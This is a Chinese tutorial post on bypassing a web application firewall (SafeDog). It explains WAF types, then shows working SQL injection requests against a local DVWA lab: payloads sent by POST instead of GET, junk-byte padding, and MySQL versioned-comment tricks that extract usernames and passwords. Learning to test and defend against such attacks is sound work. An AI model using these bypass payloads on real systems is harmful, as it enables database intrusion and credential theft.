准备出一个系列课程,分别为
SQL
注入、命令执行、文件上传、Xss
等的Bypass
。
什么是Waf
首先学Bypass Waf
,必须要知道什么是Waf
。
WAF
全称Web application firewall
,是Web
安全防护的一种手段,对攻击者输入的内容进行检测,匹配是否存在恶意内容,如果有放弃这个请求包,或加入黑名单,不允许此IP
再次访问网站
Waf核心功能
- 特征匹配
Waf
一般都有自己的匹配规则,多为正则匹配校验内容。 - 黑名单、白名单
黑名单即拉黑,白名单即只允许 - 对数据包处理
匹配有攻击特征 -> 丢包 -> 记录 -> 可能拉入IP
黑名单
Waf分类
Waf
主要分成三类
- 云
Waf
此类Waf
是直接部署在云服务器上的,主要实现方式是利用DNS
技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测(云Waf
),如存在异常请求则进行拦截,否则将请求转发至真实服务器。 - 软件
Waf
软件Waf
直接安装在需要防护的服务器上,实现方式通常是Waf
监听端口或以Web
容器扩展方式进行请求检测和阻断。 - 硬件
Waf
这类Waf
以一个独立的硬件设备的形态存在,以多种方式(如透明桥接模式、旁路模式、反向代理等)部署到网络中为Web
应用提供安全防护,这类设备是比较安全的,也比较贵。
云Waf
有一个最直接的绕过办法就是找到目标服务器的真实IP
,如此一来,云Waf
无权检测内容。
部署环境
- 利用
dvwa
作为靶场 - 利用安全狗作为
waf
apache
中间件php 5.x
版本
Bypass
首先我们输入恶意payload
后是这样的
0x1.利用GET+POST绕过
绕过原理:
Waf
只拦截GET
请求,不拦截POST
请求,而且程序也接受POST
请求,导致POST
传入恶意payload
后Waf
不会拦截
安全狗默认情况是只检测Url
的恶意Payload
,然后我们开启一下对POST
的检测
开启后,这种办法就没办法绕过了
那么就要使用第二种办法了
0x2.垃圾字节数绕过
这里为了方便查看执行的SQL
语句我将其打印出来
绕过的请求包如下
1 | POST /waf/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1 HTTP/1.1 |
2 | Host: 192.168.31.129 |
3 | Cache-Control: max-age=0 |
4 | Upgrade-Insecure-Requests: 1 |
5 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0 |
6 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 |
7 | Accept-Encoding: gzip, deflate |
8 | Accept-Language: zh-CN,zh;q=0.9 |
9 | Cookie: security=low; PHPSESSID=9g1jr0nu47c72napn759d7r8s4 |
10 | Connection: close |
11 | Content-Type: application/x-www-form-urlencoded |
12 | Content-Length: 6195 |
13 | |
14 | Submit=Submit&name=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck...超多个&id=1'+or+'1'='1 |
绕过原理:
由于数据包参数很长,Waf
会选择不匹配内容,直接把包给程序从而绕过,因为当字节数太长的时候,Waf
匹配起来响应的时间很长,影响客户体验。
0x3.利用SQL语法绕过
这个就比较难了,对于我这种SQL
语句不熟练的人来说是这样,屁话不多说。
首先试试1'/*!10000or*/'1'='1
是否会拦截
然后用Burp
跑一下哪个数字不会拦
/*!30440*/
到/*!30449*/
和/*!32440*/
到/*!32449*/
都不会拦(其实还有很多,但是已经能执行的就足够可以绕过安全狗了),然后尝试查字段内容。
1 | http://192.168.31.139/waf/dvwa/vulnerabilities/sqli/?Submit=Submit&name=&id=1'+/*!32441union*/+/*!32444select*/+null,concat_ws(char(32,32,32),user,password)+from+users--+a |
成功。
绕过原理:
首先看看如下Sql
语句
1 | select 1/*!32222union*/select 2; |
因为mysql
的特性,可以在/*!12345这里*/
执行数据库语句,或用/*垃圾字符*/
来替换空格,但是安全狗这里使用/**/
替换空格的办法依旧会拦截。